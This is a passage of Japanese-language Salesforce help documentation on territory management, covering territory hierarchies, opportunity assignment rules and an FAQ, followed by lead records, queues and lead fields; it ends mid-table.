Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

組織のすべてのテリト
リーモデルのテリトリー
を参照する
• 「テリトリーの管理」

組織の有効なテリトリー
モデルのテリトリーを参
照する
• 「設定・定義を参照す

る」

取引先を参照する
• 取引先に対する「参

照」

担当するテリトリーに割り当てられている取引先を表示するリストビューを作
成します。

メモ: この情報は、エンタープライズテリトリー管理にのみ適用され、以
前のバージョンのテリトリー管理には適用されません。

[私のテリトリー] 条件では、自分が割り当てられているテリトリーに属する取
引先が表示されます。[私のテリトリーチーム] 条件では、自分が割り当てられ
ているテリトリーとその下位テリトリー (存在する場合) の取引先が表示されま
す。
1. [取引先] タブをクリックし、ビューメニューの横にある [編集] をクリックし

ます。
2. ビューに名前を指定して、検索条件の [私のテリトリー]または [私のテリト

リーチーム] を指定します。必要に応じて他の条件を追加します。
3. 絞り込むその他の項目を選択して、[取引先名]とリストビューに表示するそ

の他の項目を選択します。
4. [保存] をクリックします

テリトリーごとの取引先の管理

テリトリー管理に関するオブジェクト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

テリトリー管理とは、取引先の特性に基づいて取引先へのアクセス権を付与す
る取引先共有システムです。このシステムにより、営業テリトリーと同様の方
法で、Salesforce のデータおよびユーザを体系化できます。
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メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。元のテリトリー管理は、カスタマイザブル売上予測でのみ使用可能で、コラボレーション
売上予測ではサポートされていません。元のテリトリー管理が有効になっている場合、コラボレーショ
ン売上予測を使用できなくなります。新しいエンタープライズテリトリー管理は、カスタマイザブル売
上予測では使用できません。エンタープライズテリトリー管理とコラボレーション売上予測は、Salesforce

組織で同時に有効化して使用できますが、現在、2 つの機能は連動するように統合されていません。
特に組織の共有モデルが非公開の場合、郵便番号、業種、収益、業務に関連するカスタム項目などの条件に基
づいて、取引先へのアクセス権をユーザに付与する必要がある場合があります。また、この取引先のカテゴリ
に対して、売上予測を作成する場合もあります。テリトリー管理によって、これらのビジネス上のニーズが解
決し、ユーザ、取引先およびそれらに関連する取引先責任者、商談およびケースを作成する、強力なソリュー
ションが提供されます。

メモ: テリトリー管理が使用されていても、取引先の所有権とレコード共有への影響は有効であり、変わ
りません。

テリトリー管理の大きな利点は次のとおりです。
• 非公開の共有モデルを拡張する取引先条件の使用許可。
• 複雑で頻繁に変更される販売組織構造のサポート。
• 商談を保持するオプションによるテリトリー間でのユーザの移行。
• テリトリーのメンバーシップに基づいたユーザごとの複数の売上予測。
• テリトリーベースの売上レポート。

メモ: テリトリー管理は、取引先、および取引先と主従関係を持つ標準オブジェクトにのみ作用します。
たとえば、商談はテリトリー管理に含まれますが、リードは含まれません。

テリトリーとは?

テリトリーとは、取引先とユーザの集合です。テリトリー内のユーザは、少なくとも取引先を参照することが
できます。これは、取引先の所有者が誰でも関係ありません。テリトリー設定により、テリトリー内のユーザ
に、テリトリー内の取引先に対する参照アクセス、参照・更新アクセスまたは所有者に類似したアクセス (レ
コードの表示、編集、移動および削除が可能) を許可できます。取引先とユーザは、複数のテリトリーにまた
がって存在できます。テリトリーには手動で取引先を追加できます。また、テリトリーに取引先を割り当て
る、取引先割り当てルールを定義できます。
また、テリトリー内の取引先に関連付けられている商談およびケースへのユーザのアクセスを制御できます。
レコードの所有者が誰かは関係ありません。

テリトリー階層とは?

テリトリーはロールのように階層化することが可能です。この階層は、必要なだけ設定できます。たとえば、
「ワールドワイドの売上」という最上位のテリトリーを作成し、その下位テリトリーとして「北米」、「ヨー
ロッパ/中東」、「南米」、「アフリカ」および「アジア/オーストラリア」を作成できます。「北米」には、
「カナダ」および「アメリカ合衆国」といった下位テリトリーを作成できます。「アメリカ合衆国」には、
「西部」、「中部」、「南部」、「東部」などの下位テリトリーを作成できます。「西部」には「カリフォル
ニア」、「オレゴン」、「ワシントン」、「ネバダ」、「アリゾナ」および「ユタ」といった下位テリトリー
を作成できます。
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テリトリー階層は地理に限って使用されるわけではありません。商品など何に対してでも定義できます。

テリトリーが売上予測に及ぼす影響とは?

組織でテリトリー管理を有効にすると、テリトリー階層が売上予測階層になります。テリトリー内の取引先に
関連付けられた商談から、売上予測データが抽出されます。割り当てられた各テリトリーに応じて、ユーザの
売上予測は異なります。たとえば、ユーザが「カリフォルニア」と「アリゾナ」の両方に割り当てられている
場合、これらのテリトリーごとに商談の売上予測を所有します。「カスタマイザブル売上予測の表示」 (ペー
ジ 1824)を参照してください。

関連トピック:

テリトリーの管理
テリトリー階層の構築
FAQ - テリトリー管理

テリトリーの管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

テリトリーを管理する
• 「テリトリーの管理」

または

売上予測マネージャで
ある。売上予測マネー
ジャは、テリトリー階
層において自分の下位
で作業するユーザのテ
リトリーを管理できま
す。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

組織のテリトリー管理には、次の作業が必要になります。
• 組織の売上予測とユーザの作業のニーズを満たすテリトリー階層を構築す

る。
• 組織レベルのテリトリー管理の設定をする。
• 新規テリトリーを作成し、既存のテリトリーを編集する。
• ユーザをテリトリーに割り当てる。
• 取引先割り当てルールを定義する。このルールによって、取引先が分類さ

れ、テリトリーに割り当てられます。
• リストから取引先を選択して、手動でテリトリーに割り当てる。

関連トピック:

テリトリー管理に関するオブジェクト
テリトリー管理の有効化
FAQ - テリトリー管理
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テリトリーへの商談の割り当て

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

商談を作成する
• 商談に対する「作成」

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

商談を作成するときに (手動でまたはリードの取引開始時に)、または既存の商談
に影響する取引先割り当てルールの実行時に、テリトリーに商談を割り当てる
ことができます。このトピックには、次のセクションがあります。
• 手動で作成した商談へのテリトリー割り当て
• 取引開始済みのリードへのテリトリー割り当て
• 商談へのテリトリー割り当てに関するメモ

手動で作成した商談へのテリトリー割り当て
[商談] タブまたはサイドバーの [簡易作成] エリアから商談を作成する場合、
Salesforce によって、商談の取引先に関連付けられたテリトリーと商談所有者が
メンバーであるテリトリーが比較されます。
• 取引先と商談所有者の両方が属する 1 つのテリトリーがある場合、[保存時に

この取引先をテリトリールールに照らして評価します] が選択されていると、
商談はそのテリトリーに割り当てられます。

• 取引先と商談所有者の両方が属するテリトリーが複数ある場合、商談はテリトリーには自動的に割り当て
られません。商談所有者は、商談にテリトリーを手動で割り当てる必要があります。

• 取引先と商談所有者の両方が属するテリトリーがない場合、商談所有者はテリトリーに商談を割り当てる
ことはできません。

取引開始済みのリードへのテリトリー割り当て
商談にリードを移行する場合、商談のテリトリー割り当ては、次を含むいくつかの要素により異なります。
• 商談に関連付けられた取引先が 1 つ以上のテリトリーに割り当てられているかどうか
• リード所有者が取引先と同じテリトリーのメンバーかどうか
• テリトリーに割り当てられたユーザ数
• 売上予測マネージャがテリトリーに割り当てられているかどうか
商談に関連付けられた取引先が 1 つのテリトリーにのみ割り当てられている場合、次の表を使用して商談のテ
リトリーが割り当てられる方法を確認します。

結果売上予測マネージャが
テリトリーに割り当て
済み

テリトリーに割り当
てられたユーザ数

取引先と同じテリ
トリーに属する
リード所有者

商談は取引先と同じテリトリーに割り当て
られ、リード所有者が商談所有者になりま
す。

なし1はい
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結果売上予測マネージャが
テリトリーに割り当て
済み

テリトリーに割り当
てられたユーザ数

取引先と同じテリ
トリーに属する
リード所有者

商談は取引先と同じテリトリーに割り当て
られ、商談所有者がテリトリーの唯一のメ
ンバーです。

なし1いいえ

商談は取引先と同じテリトリーに割り当て
られ、リード所有者が商談所有者になりま

なし0いいえ

す。リード所有者がテリトリーの無効なメ
ンバーとして追加されます。

商談は取引先と同じテリトリーに割り当て
られ、売上予測マネージャが商談所有者に
なります。

はい>1はい

商談は取引先と同じテリトリーに割り当て
られ、リード所有者が商談所有者になりま
す。

いいえ>1はい

商談はテリトリーの売上予測マネージャに
割り当てられます。

はい>1いいえ

商談は取引先と同じテリトリーに割り当て
られ、リード所有者が商談所有者になりま

いいえ>1いいえ

す。リード所有者がテリトリーの無効なメ
ンバーとして追加されます。

商談に関連付けられた取引先が複数のテリトリーに割り当てられている場合、次の表を使用して商談のテリト
リーが割り当てられる方法を確認します。

結果リード所有者のテリトリーメンバーシップ

商談はテリトリーには割り当てられず、
リード所有者が商談所有者になります。商

リード所有者が取引先と 1 つのテリトリーを共有

談所有者は、取引先のテリトリーに商談を
割り当てることができます。

商談はテリトリーには割り当てられず、
リード所有者が商談所有者になります。商

リード所有者が取引先と複数のテリトリーを共有

談所有者は、商談を取引先と共有するテリ
トリーに割り当てることができます。

商談はテリトリーには割り当てられず、
リード所有者が商談所有者になります。商

リード所有者が取引先とテリトリーを共有しない

談所有者は、テリトリーに商談を割り当て
ることはできません。
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商談へのテリトリー割り当てに関するメモ
• 次のアクションでは、商談のテリトリーは変更されません。

– 商談の取引先を手動でテリトリーに割り当てる
– 商談と関連付ける取引先を変更する
– 商談とその取引先が異なるテリトリーに存在する場合に、取引先割り当てルールの結果としてその取引

先のテリトリーを変更する
– 商談を新規所有者に移行する

• 商談の [完了予定日] が現在の日付以前であり、商談の [フェーズ] が [商談成立] または [不成立] である
場合は、テリトリー割り当てルールでは商談は更新されません。

• 商談が自動的にテリトリーに割り当てられず、1 日以内にその商談が手動でテリトリーに割り当てられない
場合は、ユーザに通知することをお勧めします。時間ベースのワークフローを設定すると、未割り当ての
商談に関してユーザに通知できます。

• 取引先または商談をごみ箱から復元するとテリトリーの割り当てが元に戻りますが、取引先割り当てルー
ルの評価は実行されません。レコードがごみ箱に入っていたときに取引先割り当てルールが変更された場
合には、復元したレコードに新規ルールに一致しないテリトリーが存在する場合があります。

• 商談があるユーザから別のユーザに転送される場合、個人かグループかに関わらず、その商談でのテリト
リー割り当てには影響ありません。ただし、すでにその商談のテリトリーのメンバーでないユーザに商談
が割り当てられている場合は、ユーザはテリトリーの無効なメンバーとして追加されます。

• テリトリーからユーザを削除する場合は、そのユーザの進行中の商談を取得するユーザを指定できます。
また、ユーザがあるテリトリーから別のテリトリーに転送される場合、ユーザが継続して所有する商談を
指定し、残りの商談を取得するユーザを選択できます。取得者を指定しない場合は、次のようになります。
– 上位テリトリーに売上予測マネージャがいる場合は、その売上予測マネージャがそのユーザの進行中の

商談の所有権を取得します。売上予測マネージャは、[テリトリーで有効]チェックボックスがオフにさ
れた状態でそのテリトリーに割り当てられます。

– 上位テリトリーに売上予測マネージャがいない場合、そのユーザは、[テリトリーで有効]チェックボッ
クスがオフにされた状態でそのテリトリーに残ります。

関連トピック:

取引先割り当てルールの管理
取引先割り当てルールの作成および編集
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手動で割り当てた取引先リストの参照

エディション

使用可能なインター
フェース: Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

ユーザ権限

手動で割り当てた取引先
リストを参照する
• 「設定・定義を参照す

る」

取引先を削除する
• 「テリトリーの管理」

および

取引先に対する「編
集」

または

売上予測マネージャで
あり、[売上予測マ
ネージャのテリトリー
管理] が選択されてい
て、テリトリー階層で
自分の階層よりも下位
で作業していて、取引
先に対する「編集」権
限を持つユーザ。

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

手動で割り当てた取引先リストページでは、選択したテリトリーに割り当てら
れた取引先の一覧が表示されます。このページで、取引先の詳細情報を参照し、
テリトリーから取引先を削除し、関連する他の情報にアクセスできます。
• 項目の絞り込みリストを表示するには、[表示] ドロップダウンリストから

事前定義済みのリストを選択するか、[新規ビューの作成] をクリックして、
自分専用のカスタムビューを定義します。

• 取引先名をクリックして、取引先の詳細を表示します。
• 取引先名の横にある [削除]をクリックすると、テリトリーからその取引先が

削除されます。

関連トピック:

テリトリー管理に関するオブジェクト
テリトリーでのユーザの管理
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FAQ - テリトリーごとの取引先の管理

FAQ - テリトリー管理

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Developer Edition および
Performance Edition と、
Sales Cloud が付属した
Enterprise Edition および
Unlimited Edition

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープ
ライズテリトリー管理には適用されません。

• Salesforce のテリトリー管理の方法は?

• 取引先割り当てルールの実行時に、商談は別のユーザに移行されますか?

• テリトリー階層とロール階層の違いは?

• 商談をテリトリーに割り当てる方法は?

• 手動で割り当てた取引先と、取引先割り当てルールによって割り当てられた
取引先との違いは?

• 商談の割り当てを限定するとどのように機能しますか?

• 自分が所有する商談と同じテリトリーに割り当てられている必要があります
か?

• テリトリーに割り当てられていた取引先または商談を復元するとどうなりますか?

• テリトリーを持つレコードの種類は?

• 取引先割り当てルールが取引先を評価する時期は?

関連トピック:

テリトリー管理に関するオブジェクト

Salesforce のテリトリー管理の方法は?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

Developer Edition および Performance Edition の組織、さらに Sales Cloud を含む Enterprise Edition および Unlimited Edition

の組織では、ユーザをテリトリーにまとめて、取引先とそれに関連する商談とケースにアクセスできるテリト
リー管理を有効にできます。
Professional Edition の組織では、Salesforce のロール階層を使用して、会社のテリトリー間の情報の積み上げを管
理できます。階層構造は、従来の役職ではなく、ロールの階層に基づきます。役職が異なる複数の人を、同じ
ロールに割り当てることができます。ユーザは常に、階層内で自分より下位のロールに割り当てられたユーザ
が所有するか、そのユーザと共有するデータにアクセスできます。また、ユーザのロールによって、そのユー
ザが売上予測でアクセスできるデータが決まります。
一般的な組織には、たとえば次のように 3 つのロールレベルを設定できます。
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• 最上位ロールには、営業、マーケティング、クライアントサービスの統括責任者と CFO が含まれます。こ
れらのユーザは、下位レベルのすべての情報を参照して、その情報の積み上げを実行できます。

• 中間レベルには、各種部門の統括責任者や地域担当マネージャが含まれます。これらのロールでは、階層
でこれらのロールより下位のすべてのユーザが所有するか、そのユーザと共有するデータにアクセスでき
ます。たとえば、西海岸の統括責任者のロールは、西海岸の担当者ロールのユーザが所有する情報を参照
して、積み上げを実行できます。

• 各担当者ロールの下位にはロールは存在しないため、それらのロールのユーザは、自分以外の情報の積み
上げを実行したり、参照したりすることはできません。

メモ: 共有設定に階層の使用が選択されている場合、ロール階層と組織の共有モデルとの関係により、
ユーザが参照可能な情報が正確に決定されます。売上予測の場合、共有モデルには関係なく、ユーザの
ロールによって、参照可能な情報が常に決定されます。同様に、非公開共有モデルでは、ユーザのロー
ルによって、その他のユーザのデータへのアクセスが決定されます。ただし、「公開/参照・更新可能」
または「公開/参照のみ」が設定された組織では、ユーザは、階層の下位のユーザのデータにアクセスで
きる上に、他のすべてのユーザの情報を参照できます (「公開/参照・更新可能」が設定されている場合は
編集もできます)。

関連トピック:

FAQ - テリトリー管理
テリトリー管理に関するオブジェクト

取引先割り当てルールの実行時に、商談は別のユーザに移行されますか?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

取引先割り当てルールによって商談が自分が属するテリトリーに再度割り当てられたとき、次に該当する場合
は、自動的に自分がその商談の所有者となります。
• テリトリーのメンバーが自分だけのとき
• テリトリーの売上予測マネージャが自分だけのとき
• 売上予測が有効になっているテリトリーメンバーが自分だけのとき
前述の条件に 1 つも一致しない場合は、商談の元の所有者がそのテリトリーの無効なメンバーとして追加され
ます

関連トピック:

FAQ - テリトリー管理

テリトリー階層とロール階層の違いは?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

はい、できます。テリトリー階層とロール階層は独立しています。次の比較を参照してください。
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ロール階層テリトリー階層

デフォルトで利用可能Salesforce への連絡によって利用可能

テリトリー管理が有効な場合、売上予測に影響なし売上予測を決定

1 ロールに対してのみユーザの割り当てをサポート複数のテリトリーに対するユーザの割り当てをサポー
ト

その他のすべてのレポートに影響取引先および商談レポートに影響

所有権に基づいてレコードへのアクセスを許可ユー
ザに両方の階層でもっとも権限の大きいアクセス権を
付与

所有者に関係なく、レコードへのアクセスを許可ユー
ザに両方の階層でもっとも権限の大きいアクセス権を
付与

関連トピック:

FAQ - テリトリー管理

商談をテリトリーに割り当てる方法は?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

商談は、次のアクションに基づいてテリトリーに自動的に割り当てられます。
• 新しい商談の作成
• 取引先割り当てルールの実行

取引先割り当てルールの実行中に、次のどちらかに該当する場合は、商談が自動的に同じテリトリーに取
引先として割り当てられます。
– テリトリーを持たない商談の取引先をテリトリーに追加したとき
– 取引先をテリトリーから別のテリトリーに移動したときただし、取引先割り当てルールにより、商談が

テリトリー階層の特定部分以外に移動することが禁じられている場合、その商談は移動せず、どのテリ
トリーの所属からも外れます。

次の場合、商談は、同じテリトリーに取引先として自動的に割り当てられません。
– 取引先をテリトリーから取り出したが、一連の操作として新しいテリトリーに再度割り当てなかったと

きあるテリトリーからの取引先の商談がどのテリトリーにも属さなくなったとき
– 一連の操作として、取引先が複数のテリトリーに再度割り当てらたとき [商談を固定] チェックボック

スをオンにしていない限り、あるテリトリーから取り出した商談はどのテリトリーにも属しません。

メモ: 商談所有者が新規テリトリー内に存在しない場合、その所有者はそのテリトリーの無効なメン
バーとして追加されます。

次のアクションでは、商談のテリトリーは変更されません。
• 商談の取引先を手動でテリトリーに割り当てる
• 商談と関連付ける取引先を変更する
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• 商談とその取引先が異なるテリトリーに存在する場合に、取引先割り当てルールの結果としてその取引先
のテリトリーを変更する

• 商談を新規所有者に移行する

関連トピック:

FAQ - テリトリー管理

手動で割り当てた取引先と、取引先割り当てルールによって割り当てられた取引先との違
いは?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

手動で割り当てた取引先は、取引先割り当てルールが実行されている場合でも評価されません。手動でテリト
リーに割り当てられた取引先は、手動でテリトリーから削除されるまで残ります。

関連トピック:

FAQ - テリトリー管理

商談の割り当てを限定するとどのように機能しますか?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

テリトリーで [商談を固定] チェックボックスがオンにされている場合には、取引先割り当てルールを実行し
ても、そのテリトリーの商談はそのテリトリーまたはその下位テリトリーに残ります。次の例外が適用されま
す。
• 商談の取引先がそのテリトリーの下位テリトリーの 1 つにのみ移動した場合、その商談はその取引先に従っ

て、その取引先の新規テリトリーに再割り当てされます。この処理は、取引先が複数のテリトリーに移動
し、新規テリトリーの 1 つだけが元のテリトリーの子である場合に実行されます。

• 商談の取引先がそのテリトリーの複数の下位テリトリーに移動した場合、その商談のテリトリー項目は空
白に設定されます。

• 商談の取引先がそのテリトリーと下位テリトリーの外に完全に移動した場合、その商談のテリトリー項目
は空白に設定されます。

関連トピック:

FAQ - テリトリー管理

自分が所有する商談と同じテリトリーに割り当てられている必要がありますか?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。
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進行中の商談が自分に割り当てられており、自分がその商談のテリトリーに属していない場合には、テリト
リーの [割り当てられたユーザ] 関連リストの [テリトリーで有効] チェックボックスがオフの状態でそのテリ
トリーに割り当てられています。

関連トピック:

FAQ - テリトリー管理

テリトリーに割り当てられていた取引先または商談を復元するとどうなりますか?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

取引先または商談を復元するとテリトリーの割り当てが元に戻りますが、取引先割り当てルールの評価は実行
されません。レコードがごみ箱に入っていたときに取引先割り当てルールが変更された場合には、復元したレ
コードに新規ルールに一致しないテリトリーが存在する場合があります。

関連トピック:

FAQ - テリトリー管理

テリトリーを持つレコードの種類は?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

取引先、商談、およびユーザには、テリトリー項目があります。取引先とユーザは、複数のテリトリーと関連
付けることができます。1 つの商談に対してテリトリーは 1 つしか関連付けできません。

関連トピック:

FAQ - テリトリー管理

取引先割り当てルールが取引先を評価する時期は?

メモ: この情報は、元のテリトリー管理機能にのみ適用され、エンタープライズテリトリー管理には適用
されません。

有効な取引先割り当てルールによって、次のタイミングで取引先が自動的に分類され、テリトリーに割り当て
られます。
• Salesforce ユーザインターフェース、Force.com API バージョン 20.0 以前、または Connect Offline などのクライア

ントを使用して取引先が作成されたとき
• インポートウィザードを使用して取引先がインポートされたとき
• リードの変換によって取引先が作成されたとき
• [レイアウトのプロパティ]の [保存時にテリトリールールに照らしてこの取引先を評価]オプションの [デフォ

ルトで選択] チェックボックスがオンにされている場合に、取引先が編集して保存されたとき取引先割り
当てルールによって商談の所有権が変更になる場合は、商談に対する転送アクセス権が必要です。
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• Force.com API 経由で取引先が編集および保存されたとき
• 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリトリー

の詳細ページで [ルールの実行] がクリックされたとき
• 取引先の [テリトリーの割り当てルールから除外]チェックボックスがオフになっている場合に、テリトリー

の [取引先割り当てルールの管理] ページで [ルールの保存 & 実行] がクリックされたとき
• 重複する取引先がマージされたとき

関連トピック:

FAQ - テリトリー管理

リードとして見込みのある商談の追跡

リード

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforce リードレコードを使用して、取引先責任者と商談とは別に見込み客を
追跡します。リードレコードを評価したら、それを取引先責任者に変換して取
引先を作成します (Salesforceに取引先がすでに存在しない場合)。可能であれば、
パイプラインを促進するために商談を作成します。
Lightning Experienceまたは Salesforce Classicのどちらで作業しているかに関係なく、
リードのリストを操作します。リストから、その時点で焦点を当てているリー
ドをすばやく作成、検索、操作します。
関連する行動と ToDo をリードに関連付けます。評価済みリードを、商談が関連
付けられた取引先責任者に変換します。「未評価」とマークしたリードについ
ては、商品およびサービスに対する見込み客のニーズが変化したかどうかを後
で確認してください。

関連トピック:

評価済みリードの取引開始
Lightning Experience でのメールおよびテンプレートの管理
Lightning Experience での作業の管理と過去の活動の表示
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リードを作成するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードを手動で作成して見込み客を追跡するためのガイドラインを示します。
• Salesforce Classic の [リード] タブから、有効なリード割り当てルールを使用し

てリードを自動的に割り当てることができます。そのためには、[有効な割
り当てルールによりケースを割り当てる]を選択します。この操作を行わない
と、リードは作成者に属することになります。
新しいリードを自動的に割り当てる場合、割り当てルールに対してシステム
管理者が指定した動作に従って、リードのレコードタイプが変わる可能性が
あります。

• 営業チームでディビジョンを使用している場合、新しいリードのディビジョ
ンは、ユーザが別のものを手動で選択しない限り、デフォルトのディビジョ
ンに自動的に設定されます。

• システム管理者は、新しいリードのデフォルトのリード状況を決定します。
• リードには「既読」というマークが付けられ、[私の未読リード] リストビューには表示されません。ただ

し、Salesforce Classicで [保存 & 新規]をクリックしてリードを保存すると、リードに「未読」というマークが
付けられます。

リードホームページ

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

[リード] タブを参照する
• リードに対する「参

照」

リードを参照する
• リードに対する「参

照」

リードを作成する
• リードに対する「作

成」

[リード] タブをクリックすると、リードホームページが表示されます。
• [リードビュー] セクションのドロップダウンリストからリストビューを選択

し、そのリストページに直接移動するか、[新規ビューの作成] をクリックし
て自分専用のカスタムビューを定義します。
キューにあるリードを参照するには、そのキューリストをドロップダウンリ
ストから選択します。Salesforce では、管理者がキューを作成すると、その
キューに対応するキューリストビューが追加されます。
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メモ: オブジェクトに対する組織の共有モデルによって、ユーザがキュー内のそのオブジェクトのレ
コードに対して持つアクセス権が決まります。
公開/参照・更新・所有権の移行

ユーザは、任意のキューのレコードの所有権を参照し、また、その所有権を得ることができます。
公開/参照・更新可能または公開/参照のみ

ユーザは任意のキューを参照できますが、レコードの所有権が得られるのはユーザがそのキューの
メンバーである場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメン
バーより上位にある場合に限られます。

非公開
ユーザがキューからレコードを参照および引き受けできるのは、ユーザがそのキューのメンバーで
ある場合、または、共有設定に従って、ロール階層またはテリトリー階層でキューメンバーより上
位にある場合に限られます。

共有モデルに関係なく、ユーザが自分がメンバーであるキューからレコード所有権を取得するには、
「編集」権限を持っている必要があります。Salesforce システム管理者、ケースに対するオブジェクト
レベルの「すべての編集」権限を持つユーザ、および「すべてのデータの編集」権限を持つユーザ
は、任意のキューのレコードやそれらのメンバーシップを参照および取得できます。

• [最近使ったリード] セクションのドロップダウンリストから項目を選択すると、条件と一致する上位リー
ドの簡略リストが表示されます。リストのリード名をクリックすると、そのリードの詳細ページに直接移
動できます。表示する項目数を変更するには、[25 件表示する] と [10 件表示する] を切り替えます。表示さ
れる項目は、システム管理者が定義した [リード] タブの検索レイアウトおよび項目レベルセキュリティ設
定 (Professional Edition、Enterprise Edition、Unlimited Edition、Performance Edition、および Developer Edition Edition で利
用可能) によって決まります。[最近使ったリード] の選択項目は次のとおりです。

説明[最近使ったリード] の選択項目

まだ表示および編集していない、最近割り当てられ
た 10 件または 25 件のリードです。このリストには、
自分が所有するレコードのみが含まれます。

私の未読リード

最近参照した 10 件または 25 件のリードです。最後
に参照したリードがリストの一番上に表示されま

最近参照したデータ

す。このリストは、最近自分が参照した項目から作
成され、自分または他のユーザが所有するレコード
が含まれます。

最近作成した 10 件または 25 件のリードです。最後
に作成したリードがリストの一番上に表示されま

最近作成したデータ

す。このリストには、自分が所有するレコードのみ
が含まれます。

• 管理者が簡易作成を有効にしている場合は、リードホームページのサイドバーにある [簡易作成] 領域から
新規リードを追加できます。または、[最近使ったリード] の横にある [新規] をクリックして、新しいリー
ドを作成します。
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• [レポート] でレポート名をクリックすると、そのレポートに移動できます。
• [概要] セクションでは、値を選択して [レポート実行] をクリックすると、リードの概要リストを表示でき

ます。
• リードを管理するには、[ツール] の下にある任意のリンクを選択します。
• Salesforce to Salesforce を使用して外部の取引先責任者とリードを共有している場合は、[接続先からのリード]

の下のリストビューを 1 つ選択して、ビジネスパートナーと共有しているリードを表示します。

関連トピック:

リード
リードの管理
ソーシャル取引先、取引先責任者、およびリード

リードのキューからの再割り当て

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

キューのリードの所有者
を変更するか受け入れる
• リードに対する「編

集」

リードを自身に再割り当てする簡単な方法は、キューにあるリードを引き受け
ることです。
1. リードキューを表示するリストビューに移動します。リードキューが表示さ

れない場合は、自身をキューメンバーに追加するようシステム管理者に依頼
してください。

2. 所有するリードを選択します。
3. [承諾] をクリックします。
キューから単一のリードを再割り当てするには、レコード詳細ページに移動し
て、レコード所有者を変更します。

関連トピック:

レコードの所有者の変更
レコードの一括移行
キュー
リード
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リードの項目

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

リードには次の項目があります。アルファベット順で表示しています。ページ
レイアウト設定と項目レベルセキュリティ設定によって、これらの項目には表
示できないものや編集できないものがあります。
リードレコードがData.comから追加された場合、次に示す特定の項目にData.com

または Dun & Bradstreet (D&B) 値 (値が使用可能な場合) が入力されます。一部の
Data.com リード項目は、特定の Data.com 製品を使用する組織でのみ使用できま
す。

Data.com または
D&B 値を受け入

れる

説明項目

 (Data.com)リードの町名・番地。たとえば、475

Boardwalk Ave。この項目は最大 255 文字ま
で入力できます。

町名・番地

 (D&B)リードの会社の年間収益。年間売上

リードを生成するためのキャンペーンの
名前。新しいリードを作成するときのみ

キャンペーン

表示されます。この項目に入力されるデー
タは、リードの [キャンペーン履歴] 関連
リストに保存されます。

 (Data.com)ユーザの住所の市区郡部分。たとえば、
San Francisco。この項目は最大 40 文字まで
入力できます。

市区郡

 (Data.com)Data.com と比較したレコードのクリーン
アップ状況。有効な値は 未比較、同期済

状況をクリーン
アップ

み、確認済み、不一致、該当なし、無効で
す。この項目は、Data.com Prospector また
は Data.com Clean を使用する場合に使用で
きます。

 (D&B)リードが提携している会社名。この項目
は最大 255 文字まで入力できます。

会社

 (D&B)Data Universal Numbering System (D-U-N-S)

Number は、D&B データベース内の、それ
会社 D-U-N-S 番
号

ぞれ事業が異なる一意の各事業所に割り
当てられた一意の 9 桁の番号です。D-U-N-S

Number は、事業の識別と追跡のための世
界標準として世界中の産業と組織で使用
されます。この項目は、Data.com Prospector
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Data.com または D&B
値を受け入れる

説明項目

または Data.com Clean を使用する場合に使用できます。

メモ: 完全な D-U-N-S Number を表示するには、次のい
ずれかを実行します。
• まだ追加していない場合はリードを Salesforce に

追加する。
• すでにSalesforceに存在する場合には、Data.comで

リードをクリーンアップする。
レコードを追加またはクリーンアップするまで、先
頭 5 桁はアスタリスク (*) でマスクされます。

ローカル言語に翻訳された会社名。会社名(ローカル)

ユーザの住所の国部分。エントリは標準値の選択リスト
から選択するか、テキストとして入力します。テキスト
項目の場合、最大 80 文字まで入力できます。

国

リードを作成したユーザ (作成日時を含む) (参照のみ)作成者

 (D&B)対応する D&B 企業レコードへのリンク。リンク先にリー
